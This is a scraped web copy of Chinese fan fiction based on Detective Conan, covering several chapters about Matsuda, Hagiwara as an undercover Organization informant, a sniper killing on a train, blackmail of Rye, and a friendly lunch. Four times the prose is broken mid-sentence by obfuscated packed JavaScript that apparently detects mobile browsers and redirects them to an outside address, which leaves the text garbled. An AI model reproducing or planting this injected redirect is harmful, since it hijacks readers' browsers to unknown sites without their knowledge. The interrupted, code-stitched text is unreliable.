l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285367|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 巨大的空洞和恐慌从梦里延续到了现实,松田阵平不可抑制地产生了一个想法:梦里的萩原研二没了,那现实的那个是不是也跟着消失了? 庄周梦蝶。 此时此刻他分不清哪边才是梦。 松田阵平深吸了口气。 心浮气躁乃大忌。 他用有些发软的双腿站起来,环视了一圈自己的房间,没有东西能证明另一个人曾经来过。 松田阵平握住卧室的门把手,却迟迟没有拧开。门把手属于金属的冰冷从掌心一路蔓延到全身,他打了个冷颤。 他不知道打开门之后自己能不能承受得住。 如果垃圾桶里没有两个空了的啤酒瓶,如果那套睡衣还放在袋子里,如果……没有那束工艺花。 咔哒。 客厅的窗帘没拉开,显得一切都朦朦胧胧的。但松田阵平一眼就看到了,看到了摆在桌上,无比显眼的那束工艺花。 他打开了客厅的灯,却忘记调亮度,骤然亮起的白昼般的灯光几乎瞬间把他刺激出生理性泪水。 松田阵平缓慢地向那束花走过去,走近时才发现它下面还压了张纸。 【忽然有急事,我不得不先离开,没能和小阵平一起起床吃早餐真的很遗憾,不过欢迎小阵平随时联系我~我办完事就来找小阵平!】 他还活着。 萩原研二还活着。 我的hagi,此时此刻还活着。 松田阵平的视线猛地看向墙上挂着的电子日历。 10月18日。距离11月7日还有20天时间。 还来得及,这一切都还来得及。 想通这点的松田阵平,像是脱力般坐在椅子上。 现在的他,同时拥有两段人生的记忆。一段是完整的,从记事以来到如今的记忆。一段是残缺的,是“屏幕”一点点让他“想”起来的。 两段记忆中松田阵平的主要成长轨迹其实没多大区别,童年时失去母亲,父亲被误当凶手后自暴自弃,他受此影响,长大后想当警察,进入警校,毕业前被爆处组邀请并答应。 最大的区别就在于他的人际关系,一边的幼驯染是诸伏景光,一边的幼驯染是萩原研二。 不可否认的是,松田阵平很重视诸伏景光,但萩原研二对于他来说,独特得无可取代。 他们就像是两个复杂的,却刚好能完全吻合彼此的齿轮。 是彼此灵魂的另一半。 所以即使在这个世界里,他们并未能一起长大,松田阵平未能想起这段记忆,也能在初见时就牢牢被对方吸引住了视线。 他们才会相识短短十天就好像认识了十年一般自然。 松田阵平像是自虐般无法控制地在脑海里回想这段记忆,恨不得一帧一帧地回放。 在回忆到他在楼下和萩原研二打电话的时候,松田阵平的拳头硬了。 虽然理智上清楚以当时的爆炸规模来说,即使萩原研二穿了防护服,活下来的几率也为零。 但松田阵平还是难以控制地去想:万一呢? 更何况不穿防护服怎么想都是这家伙的错吧—— 果然下次见了面要先打那家伙一顿!! 24.第 24 章 萩原研二并不知道自己下一次看到心上人的时候会受到何种铁拳制裁。 他现在正和莱伊两个人往一个车站走去。 清晨接到琴酒的消息后,他在规定时间到了约定地点。 琴酒坐在车里,只是拉下了车窗说话。他看起来好像对萩原研二踩点到有些不满,加上他昨晚得知一个消息。 “田纳西,来那么慢,你不会是被条子策反了吧?”银色长发的男人笑得冷厉,“我不介意在任务开始之前先做一次清除。” 萩原研二露出一个和琴酒完全不同风格的甜蜜笑容,却都透着浓郁的暗色:“小琴酒,首先你得明白,现在是你有求于我。” 仅一句话,top killer的贝雷塔M92F冰冷的枪口就抵在了田纳西的腰腹处。 萩原研二好像什么都没感受到一样,继续笑意盈盈地说下去:“其次,我只是不想在这方面输给波本才找的条子。当然——” 他弯下腰来,任由枪口对准他的脑袋,脸上的笑容如同沾上了剧毒的蜂蜜,说出来的话仿若情人间的耳语,“如果小琴酒愿意的话,我很乐意把试验我魅力的对象转换成你。” 琴酒好像怕自己的枪沾到什么脏东西一样,收枪的速度快出残影。 “莱伊。”琴酒被这么刺激一下,声音冷得都快掉渣了,旁边的伏特加在这种氛围里一声不吭。 萩原研二这才看到保时捷的后座里还坐着一个人。 背着狙击枪的黑长发男人听到琴酒叫他后才开车门走出来。 琴酒抽出资料拍到萩原研二手上:“拿到东西后灭口。”很显然拿到东西是对着萩原研二说的,灭口是对着莱伊说的。 简短地交代完,琴酒做了个手势,伏特加一脚踩下油门,保时捷很快就蹿出他们的视线范围内了。 萩原研二站在原地看琴酒给他的资料,这次任务是解决一个叛徒。 有个官员之前多年为组织办事,但是他现在临近退休,即将退出权力中心,他害怕自己失去主要利用价值后被组织灭口,决定先下手为强。所以他把这么多年来为组织办事的资料放进U盘里,委托他准备出国定居的弟弟帮他把东西带出国,如果他在日本遭遇什么不测,就由弟弟把组织的犯罪内容公开。本来组织没想要了这人的命,这么多年没有功劳也有苦劳,此前也算得上忠心耿耿,但既然起了这种心思,却是不可能再留的。 这人不愧是给组织多年办事的老手,非常谨慎,组织目前只能查到这么多,甚至不知道他要怎么和弟弟交接东西,而时间又非常紧迫,所以琴酒才捏着鼻子叫来了萩原研二。 萩原研二能成为组织里实力受到认可的情报员,自然有他独特的消息渠道,多贵都不要紧,反正组织会报销——搞笑的是,公安甚至因此多出了一些经费。 仅仅一个小时,萩原研二就得知那位官员将在上午十一点抵达一个车站,和他弟弟碰头之后,那人弟弟会直奔机场坐最近的一班航班离开。 “这是商务车厢赠送的牛扒,请慢用。”伪装成乘务员的萩原研二捧着一份还在滋滋作响的牛扒走进了商务车厢,放在了那位官员——南川寿男前面的桌子上。这人正右手拉着一个行李箱,上面还放了个小行李袋。 萩原研二放下食物后,自然而然地伸手,想帮他把这两样东西放好:“让我帮您把东西放在架子上吧,以免被食物弄脏。” 结果南川寿男反应非常大地挥开他的手:“不要用你的脏手碰我的东西!” 萩原研二连忙道歉:“对不起,先生。”他一边说着一边侧身露出位置,同时左脸微微侧了一下,看向了斜上方的候车室。 子弹接近无声地穿透了南川寿男的心脏。假装要转身去给下一位乘客送餐的萩原研二借门帘挡住了迸溅出来的血迹。 在听到车厢里传来有什么倒地的重响后,萩原研二作为乘务员,连忙回身查看情况。 看到竟然有人死亡,他一边害怕得抖着嗓音跟乘务长报告,一边蹲下身确认南川寿男的情况:“先生、先生?” 与此同时他带着白手套的左手迅速从南川寿男的右手袖子内侧拿走了U盘。 在刚刚的试探里,萩原研二看出这人害怕被靠近的不是那显眼的行李箱和行李袋,是他拉着这两样东西的右手。 拿到东西的萩原研二假装要去找车站负责人,却没有在约好见面的废弃车站控制室里看到莱伊。 这人不会是被人发现了吧? 等了五分钟还是没看到人,萩原研二此时又无法潜入监控室——警察还没来,但监控室里现在也一定挤满了人。 不能在这里久留了,萩原研二决定先自行离开,再看莱伊后续的情况决定要不要跟琴酒告状。 结果就在接近出口的月台尽头处,他看到了莱伊。 这还是他第一次看到一直表情淡淡的莱伊有这么鲜明的表情。他在朝面前的小男孩——不,应该是个小女孩大发脾气:“你现在立刻回去!” 那个小女孩看起来快要哭了:“可是我很想秀哥,难得见一面……” “哎呀,惹女孩子伤心的可不能算作绅士哟~”已经换上常服的萩原研二不知道从哪掏出一枝花,对,就是从被松田阵平要求带回去的那几大束花里抽出来的,无视莱伊如芒在刺的目光,蹲下来递给小女孩。 被这么一打断,小女孩也忘记了自己刚刚的情绪,她呆呆地接过这朵漂亮的花。 萩原研二再接再厉,他笑着揉了揉对方的头发:“这里刚发生过事件,你的【秀哥】也是担心你的安危,所以还是赶紧回家,对吧,【秀哥】?” 虽然这个【秀哥】现在看起来想立刻从身后的吉他盒里掏出狙把他一枪爆头。 萩原研二长着一张漂亮无害的脸,魅力辐射所有年龄段的女性,能让人下意识相信他的话。于是小女孩看了看自己手里的花,又小心翼翼地看了一眼他背后的莱伊,见莱伊点点头,说:“那我回去了,我认得路,不用担心我。” 她想了想,又抬头对着萩原研二说:“谢谢哥哥的花。” 对莱伊说:“如果秀哥没那么忙的话,可以回来看看我们吗?我想听秀哥弹吉他。” 莱伊似乎想说什么,最后还是沉默地朝她挥了挥手,和萩原研二离开了。 等他们两个上车离开的时候,警车也正赶到。 田纳西的车技在组织里是众人皆知的,如果不想直接开往天国的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14295507|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不要坐田纳西开的车。 因此无论是谁和田纳西一起出双人任务,只要是坐同一辆车,就逃不了当司机的命运。 萩原研二手肘撑在车窗边缘,似笑非笑:“原来莱伊会弹吉他啊?我也想听听呢。”他当然知道莱伊的吉他盒里是狙击枪,说这话只不过是想引出关于那个小女孩的话题。 萩原研二对无辜的小女孩自然是温柔无害的,但对罪行罄竹难书的犯罪分子莱伊可不是。 “秀哥”这个称呼和莱伊自报的名字“诸星大”是哪个字都合不上。当然,他不能指望组织成员使用自己的真名。 但是,从这个和莱伊头发、瞳色、眼型等各方面长相特征都很接近的小女孩,大概率和莱伊有血缘关系,那么从她口中喊出的“秀哥”就和莱伊的真实姓名有关。 仅仅依靠“秀”是无法推断出莱伊的真名的,莱伊也清楚这一点。 但莱伊不能指望他不会对小女孩出手。用各种手段从小女孩那里调查出莱伊的真实资料,这是一个正常的代号成员不会错过的机会。 以他和莱伊平平淡淡的同事关系,他不利用这一点反而会显得很奇怪。 萩原研二能感受到莱伊无法收敛的杀意,他甚至还火上加油地,用带着恶意的语调学那个小女孩说话:“——秀哥?” 一阵刺耳的刹车声,莱伊把车停在了一个冷清的巷子里。萩原研二听到了手枪上膛的声音。 “怎么,要杀人灭口吗?”萩原研二故作委屈,“我不是小琴酒,没有随便对着一个人就开始怀疑是老鼠的爱好,但是你知道的,情报员的职业本能就是注定不会放过任何一个情报。” “条件?”莱伊面无表情地发问。 萩原研二脸上重新挂上了他标志性的甜蜜笑容:“莱伊你看,我一个情报组的在组织里孤苦无依,也没个行动组的朋友,所以我觉得我们可以交个朋友,长期的——等等,别急着把枪拿出来,先听我说完嘛。” 莱伊一双狼眸冷若冰霜:“我还是第一次听到把长期威胁说得那么好听的。” 萩原研二不赞同地摇了摇头:“这叫互惠互利。你有不想被别人知道的弱点,我也不能保证未来不会有不想被组织知道的事情。”他总算正色了些,“你放心,我不会要求得太过分——你也不会答应的。” 莱伊把枪收回去,重新启动汽车的发动机:“仅此而已?” 萩原研二点头:“仅此而已。当然,你不要想着现在答应,然后过几天想法把我解决掉,如果我死了,总有些东西会【不经意地】透露出去。” 莱伊不再说话了。 萩原研二也不介意,他现在心情很好,一个任务下来,同时拿到了琴酒和莱伊的人情,不得不说性价比很高。 他把U盘放在了琴酒指定的地点,就准备回去安全屋里洗漱,再吃点东西,毕竟今天又是没吃早餐的一天。 萩原研二拦了辆出租车,这才开始慢悠悠掏出手机想跟松田阵平发消息,结果非常惊喜地发现松田阵平竟然主动给他发消息了。 一定是他昨晚的抱怨发挥了作用! 【诸伏今天出院,我们打算为他这次的劫后逃生去外面庆祝一下,你要来吗?】 25.第 25 章 【诸伏今天出院,我们打算为他这次的劫后逃生去外面庆祝一下,你要来吗?】 短短一句话,已经警察含量过高了。 萩原研二有些无奈地想着,这可是甜蜜的负担。自己现在是“犯罪分子”,偏偏心上人是警察,为他朋友庆祝出院的话,估计警察的数量不会少。 就好像猜到他在想什么一般,他又收到了一条来自松田阵平的消息。 【虽然我觉得你应该不怕生,但还是解释一下,现在只有我、诸伏、伊达三个人。诸伏说今天周末,大家这周都很辛苦了,周末休息时间就不打扰同事了。】 ……小阵平怎么知道我在想什么? 萩原研二纳闷了两秒,然后决定把这归结于他和松田阵平的心有灵犀,愉快地回了个“好”,然后就回去换衣服准备赴约了。 虽然不愿意和警察过多接触,但是小诸伏是小阵平最好的朋友,那个伊达之前听小阵平说过,跟他关系也不错。既然萩原研二想和松田阵平成为恋人,自然不能错过和他朋友交好的机会。 他们约定的地点是一家中高档的面食馆,以荞麦面著称。 伊达航叼着牙签坐在宽敞的包间里,看着包间自带的假山流水装饰,感叹:“我真没想到松田你会选择这种地方。” 松田阵平接过诸伏景光递给他的点菜单:“景光喜欢吃信州荞麦面,而且出院的时候你不是没听到医嘱,一周内要饮食清淡。” “重点是荞麦面吗?重点是档次啊!”伊达航指了指松田阵平手上的点菜单,“我们之前不是也发现一家便宜好吃的荞麦面馆吗?这里的一碗面能吃那里四碗了。” 有部分原因是萩原研二现在不方便太过抛头露面。这句话松田阵平没法说出来,只能从其他原因解释:“那家店人很多啊,班长你不忍心让大病初愈的景老爷在外面排队吧?” 正弯着一双猫眼听两人拌嘴的俊秀青年没想到又再次扯到自己身上,索性下场终结这场不算争吵的争吵:“没事的,班长,反正我们都没吃过这家店,试一下也不是什么坏事情。” 伊达航以一对二终究不敌:“败给你们幼驯染了。” 松田阵平忽然抓住一个盲点:“班长,我们的工资也不算少,不至于吃几顿好的都承担不起。从实招来,你最近是不是有什么大开销?” 诸伏景光也跟着看过去。 伊达航也没想着瞒好友们,他爽朗地笑了一下,大大方方分享自己的想法:“因为之前警校还没毕业的时候就和娜塔莉商量过要不要毕业后就结婚。虽然我现在还没跟娜塔莉正式求婚,但是结婚是个大事情,要用到钱的地方还是很多的,能存一点是一点吧。” 诸伏景光和松田阵平作为常年被他秀恩爱的对象,对伊达航这个想法也没感到多大意外。 松田阵平捶了一下伊达航的肩膀:“那这顿饭我请了。还有,求婚的时候叫上我们给你帮忙呗。” 伊达航表示好意心领了:“说了是我和你给诸伏庆贺,怎么可能让你一个人出钱,我是存钱不是缺钱。至于求婚——你们是想看热闹而已吧!” 诸伏景光看了一下时间,问松田阵平:“阵平,你那位朋友是不是住得比较远?” 话音刚落,包厢门就传来了敲门的声音。 萩原研二穿着一件浅灰色高领针织衫,手里提着一个大大的金色礼盒,走了进来。 松田阵平向他打了个招呼:“来了啊,坐吧。” 萩原研二看了一下他们的位置,这两个人都在他调查松田阵平的时候有看过照片。松田阵平旁边坐着的人是警视厅搜查一课的诸伏景光,诸伏景光的对面则是同属搜一的伊达航。 看来只能坐小阵平对面了呢。 萩原研二笑着说了声“中午好”,然后在松田阵平的对面坐下,对伊达航和诸伏景光简单介绍了一下自己:“我叫三木贤治,是小阵平的朋友,以写作为生。” “小阵平……”伊达航嘴里的牙签掉了。 诸伏景光一双猫眼眨了眨,然后没忍住笑了出声:“哈哈……对不起三木君,我失礼了,我只是觉得这个称呼,嗯,很适合阵平。” 松田阵平先是青筋在脑门上跳动,然后又想起了什么,再次变得懒洋洋的:“没事,等下你们就知道了。” 诸伏景光和伊达航一头雾水,但他们不能晾着这位三木贤治,便一一对他进行自我介绍。 “我叫诸伏景光,是搜查一课的刑警,和阵平从小一起长大。” “伊达航,搜查一课,读警校的时候【不幸地】遇到这两个家伙。” 萩原研二对他们点点头:“小诸伏,小伊达,请多指教~” 伊达航刚叼上去的新牙签再次惨遭掉落,这下轮到松田阵平毫不客气地大笑出声了。 诸伏景光倒是没说什么,伊达航这个人高马大、向来以壮汉形象示人的没忍住开口了:“诸伏和松田就算了,为什么连我也会被叫伊达酱?” 松田阵平不满:“什么叫我们就算了啊!放弃吧班长,贤治会平等地叫所有人xx酱,连四十多岁的模型店店长他都能叫人家山田酱。” 萩原研二小声补充:“……其实小山田今年才38岁,小阵平。” 诸伏景光闻言却大受打击,他颤抖着手转过头对伊达航说:“班长,我跟阵平当了十几年的朋友,他有时候还会叫我诸伏诸伏的,好生疏。” 伊达航深表同情:“糟糠之妻是这样的了。” 松田阵平纳闷:“哈?还不是因为从小就喊习惯了,而且我不是也会叫你景光或者景吗?当然了,你要是有什么特殊要求的话,我也可以喊你——” 诸伏景光颤抖的手立马就不颤抖了,飞快地捂住了松田阵平的手,作悲痛状:“别说了,我这个糟糠之妻不会阻止你走向新欢的,祝你们幸福。” 松田阵平忍无可忍地给了诸伏景光和伊达航一人一捶,被他们笑着接住了。 萩原研二看着他们在吵吵闹闹,眼里满是羡慕:“你们感情真好啊。”那种因为关系亲密,所以怎么开玩笑都不怕的熟稔氛围,光是看着就让人心情愉快。 诸伏景光看向萩原研二,向来温柔的蓝眸里是真挚的笑意:“三木君不介意的话,我和伊达也很乐意成为你的朋友。” 伊达航点点头:“这还是第一次看到松田带朋友给我们认识,我们都很重视。” 萩原研二看起来很开心:“原来我是第一个吗,小阵平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14305235|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 松田阵平不打算回答他这个问题,把点菜单甩到他面前,恶声恶气:“先点餐吧,就差你了!” 萩原研二看了一下菜单和已点的餐品,然后随手勾了一个顺眼的,叫来服务员下单。 他非常擅长与人沟通,加上诸伏景光和伊达航对他这个松田阵平难得的新好友抱有最大程度的善意,没过多久他们就聊得很尽兴,一开始因为不熟悉而存在的些许生疏也完全消失了,这点在称呼上表现得特别明显。 “所以你们是因为模型而认识的吗?三木竟然能和你速度不相上下?”诸伏景光有些惊讶,随后了然,“难怪你们这么短时间关系就那么亲近了呢,阵平之前无聊的时候抓过我跟他一起拼,然后还反过来嫌弃我速度跟不上他,唉,难怪要抛弃我这个糟糠之妻而选择新欢了。” 松田阵平愤怒:“这个烂梗你还要玩多久啊!” 伊达航也附和:“说真的,三木应该来爆处组看看他是怎么训练队员的,我路过看了都不忍心呐,如果是你来的话,以你的天赋他肯定不会这么对你。” 松田阵平半月眼:“一个比一个悟性差,出外勤不能只是我一个人的独角戏。” 萩原研二忽然语出惊人:“可是,我也想接受一下小阵平看似凶巴巴实际只是关心的教导哎。” 松田阵平想到梦里出外勤竟然敢没穿防爆服的萩原研二,咬牙切齿地想,hagi很快就可以得偿所愿了。 他忽然发现没人说话了,抬头一看,伊达航和诸伏景光都满脸复杂,萩原研二则有些困惑。 “你们怎么了?” “嗯……就是觉得,三木有时候比诸伏还可怕。”伊达航想了一下,如是说道。 诸伏景光:“……班长,你这个眼神其实不是在寻求我的认可对吧?” 伊达航开始低头专心品尝美食:“松田原来还是会享受生活的嘛,这家店味道确实没得说。” 松田阵平嫌弃他生硬的转移话题技术:“之前无意中听到斋藤他们聊天的时候提到这家店,刚刚选地方的时候就想起来了。” 萩原研二撑着脸笑意盈盈,他现在心情真的很好。虽然上午的时候他依旧身处黑暗之中,踩着琴酒和莱伊的底线来回试探。但是眼前的这三个人,能把他短暂地拉到阳光下,仿佛身后的黑暗也不再是什么可怕的事物。 他不知道自己是不是爱屋及乌,因为喜欢小阵平,所以觉得他的朋友们也很好,如果能和他们成为朋友,或许也是件不错的事情。 萩原研二忽然想起来,小降谷对小诸伏也非常在意,或许小诸伏对他来说也是光吧。 他坏心眼地琢磨着,下一次看到好友的时候,一定要在他面前大肆炫耀自己不仅和小诸伏见面了,还成为朋友了。 这样想着,萩原研二把自己带来的金色礼盒递给诸伏景光:“小诸伏刚出院,需要多补充营养吧,我买了些常用的蛋白粉,小阵平可要帮忙监督让他吃下~” 诸伏景光作为今天这顿聚餐的主角,也没多加客气就收下了:“谢了,我会让阵平和我一起吃的,我养伤,他养肌肉好了。” 萩原研二:……糟糕,感觉脑海里浮现了些不能让小阵平知道的画面。 26.第 26 章 等这顿聚餐结束的时候,虽然萩原研二很想跟松田阵平再相处多一点,但是考虑到诸伏景光刚出院,和他合租的松田阵平可能还要帮忙照顾他,就识趣地没有开口邀请松田阵平跟他一起了。 其实一起去干嘛他也还没想好。 但是只要跟小阵平在一起,就算只是散散步也是件极浪漫的事情! 萩原研二没想到自己没有开口邀请,松田阵平却主动提出:“前几天你不是说有城市限定模型吗,如果你明天没什么事情要忙的话,我们明天玩这个?” 萩原研二喜出望外:“好啊!”今天早上刚做完一个任务,按理说不会这么快有新任务出现,所以明天的时间还是有保障的。 研二酱要不要趁这个难得的二人世界告白呢? 萩原研二这时候的行动力高得可怕。 于是当降谷零不打招呼地找上门时,看到的就是萩原研二坐在地毯上,前面围着半圈造型各异的花瓶,他正在往不同的花瓶里搭配不同的鲜花。 旁边还有一些拼成一个个模块形状的模型,看起来体量有些庞大,不知道最后拼成是什么模样。 正戴着黑色鸭舌帽、黑色口罩,伪装得全副武装的降谷零瞬间觉得自己像个误入求婚现场的小偷。 他眨了眨眼,收回已经迈进门的一条腿,把门关上,再打开。 “原来不是我开门的方式不对吗?感觉像误入什么平行世界了。” 萩原研二头也不抬地继续全神贯注于他手上的插花事业:“小降谷今天怎么会过来?应该不是组织那边的事情,公安有新任务了?” 降谷零没好气地把一个装着食物的袋子放在桌上,然后随手拉了张椅子坐下,居高临下地看着坐在地上的萩原研二:“没事就不能来吗?” 萩原研二终于舍得抽空抬起头来给他一个眼神了:“小降谷相信自己的这句话吗?我就大发慈悲地告诉你吧,今天我见到小诸伏本人了。” 降谷零没说话,但是他瞬间亮起来的眼神和掩不住的紧张说明了一切。 本来打算卖个关子逗逗自己这位好友的萩原研二看到这都不好意思使什么坏心思了,先是如实说了中午和他们聊天时得知的诸伏景光现状:“……就是这样,没什么大碍。但头部的淤血需要定期检查。他今天的脸色看起来不错,整体状态也很好。” 降谷零松了一口气:“那就好。虽然风见有跟我说hiro恢复得不错,但是我看报告里说他心脏不舒服,有些担心,既然你这么说了,应该是没什么大问题了。” 萩原研二啧啧啧:“小降谷先顾好你自己吧。小诸伏好歹这段时间都在医院里休养,可你呢?上次的两处枪伤还没好,这几天又接了两个任务,你真当自己是铁打的吗?” 降谷零有些心虚:“……反正也没伤到要处,这两个任务又不需要我动手,只是套几个消息,还不至于扯到伤口。”他越说越觉得自己有理,甚至开始变得理直气壮。 萩原研二太熟悉他这秉性了,在这方面也懒得跟他吵,于是他决定从另一方面打压他这令人火大的性格:“话说回来,今天看到小诸伏本人,发现你和小阵平都那么看重他果然是有理由的呢。他又温柔又优秀,厨艺还那么厉害,研二酱很高兴初次见面就能和他成为朋友哦~” 果然降谷零一听这话就开始炸毛,他不高兴地撇嘴:“这有什么,我和hiro早就是朋友了。” “噢~~还没见过面的朋友对吧?不对,你们见过面了的,然后人家小诸伏就把你当罪犯给了你一枪。”萩原研二抑扬顿挫地狠狠插兄弟两刀。 萩原研二每说一个字,降谷零的坐姿就往下蔫一点,等他说完的时候,整个人已经有气无力地趴在椅背上了。 半长发的青年还深谙要用自己的幸福衬托别人的凄惨这一道理,于是他非常自豪地向好友展示自己这一片浪漫花海。 “我就不一样啦。小阵平今天主动邀请我明天一起拼模型,反正我是没你那么能忍啦,我决定主动出击!如果小阵平能答应我,那么皆大欢喜;即使他一时没有答应,我也能光明正大地开始追求他!” 有句话说得好,看不得朋友过得不好,但也看不得朋友过得太好。 至少在感情这方面,降谷零对这句话是深表认可的。 他不甘自己处于下风,试图绝地反击:“你怎么就知道你那位小阵平,有没有可能不仅没答应你,连追求的机会都不给你?” 但降谷零注定得不到他想要的反应了。 萩原研二身上已经开始冒粉红泡泡了:“小降谷你知道吗?昨晚我们睡在一张床上了哎,小阵平那张明明是单人床,而且他也可以赶我去睡小诸伏的床——” “别想睡hiro的床!” “但是他没有,”萩原研二对降谷零的打断充耳不闻,“他允许我跟他睡在一起,甚至可以接受我的拥抱!还有还有,我今天能感觉到,虽然不知道为什么,但是小阵平突然间变得更在乎我了,一顿饭的时间里他至少看了我42次——” 降谷零冷漠地踹翻狗粮:“够了。” 萩原研二表示心情很好所以也不介意小降谷不够礼貌地打断别人说话呢。 “小降谷还有其他事情吗?没有的话来帮我布置一下哦,我要是成功了的话,可以帮忙想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14315275|150801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办法让小降谷光明正大见到小诸伏哦!” 在听前半部分时一路吸气的降谷零听到后半部分开始慢慢呼气。 他开始变得心平气和:“可以。” 降谷零没打算加入萩原研二已经进行到一半的插花事业,他问了一下萩原研二的大致构想,就开始帮他挪动杂物的位置,来确保萩原研二有足够的空间来布置。 他们一边做着手上的活,一边趁机沟通了一下彼此最近做的任务。 降谷零听到萩原研二这次的任务竟然是那位叫南川寿男的官员时有些惊讶:“我记得这个人为组织办事很多年了吧?一直都挺‘识时务’的,怎么忽然……” “因为快退休了,该有的不该有的念头就会变多。人也确实谨慎,拷贝U盘资料的时候差点还自动销毁了,还好这次公安那边给的最新设备给得及时。”萩原研二已经把他面前那半圈花瓶给插好花了。 他紧接着开始组装一个巨大的花球:“这次出任务收获颇丰,除了拿到小琴酒的一次人情和南川寿男的资料,我还抓到了小莱伊的把柄~” 然后把今天上午的事情和降谷零说了。 降谷零对萩原研二威胁莱伊自然没意见,但是他觉得应该在不惊动小女孩的情况下对她进行调查,情报不要白不要。 小女孩欲哭不哭的脸在萩原研二的脑海中闪过,他沉默了几秒,还是拒绝了降谷零的建议:“无论如何都有被莱伊发现的风险,既然他现在暂时答应了我的条件,就没必要再激怒他。” 降谷零还有其他事情要做,在接近晚饭的时间就要离开了。 临走前,他把带来的饭盒打开,示意萩原研二尝一下:“接下来我有个长期任务,需要我潜入一家西式餐厅当厨师,我跟着hiro的视频练了好久的,自己吃太多都有点分不出好坏了,你帮我评判一下。” 萩原研二从盒子里拿起一块火腿三明治放进嘴里。 面包松软,火腿咸香浓郁,加上被切碎的蔬菜的清新解腻,一整盒的三明治迅速进了萩原研二的肚子里。 他满足地回味了一下,毫不吝啬称赞:“这么久没品尝到小降谷的手艺,你已经进修到如此地步了吗!” 降谷零这下放心了:“那就好。我也是跟着hiro的视频练的,他一定做得更好吃。” 萩原研二安慰他:“没关系的,等我和小阵平在一起了,小降谷就有正当理由认识小诸伏了。” 降谷零走了,狠狠地甩上了门。 被独自留下来的半长发青年看着自己手里那酷似松田阵平眸色的花瓣,眼神柔和:“希望明天能顺利一些啊,小阵平……”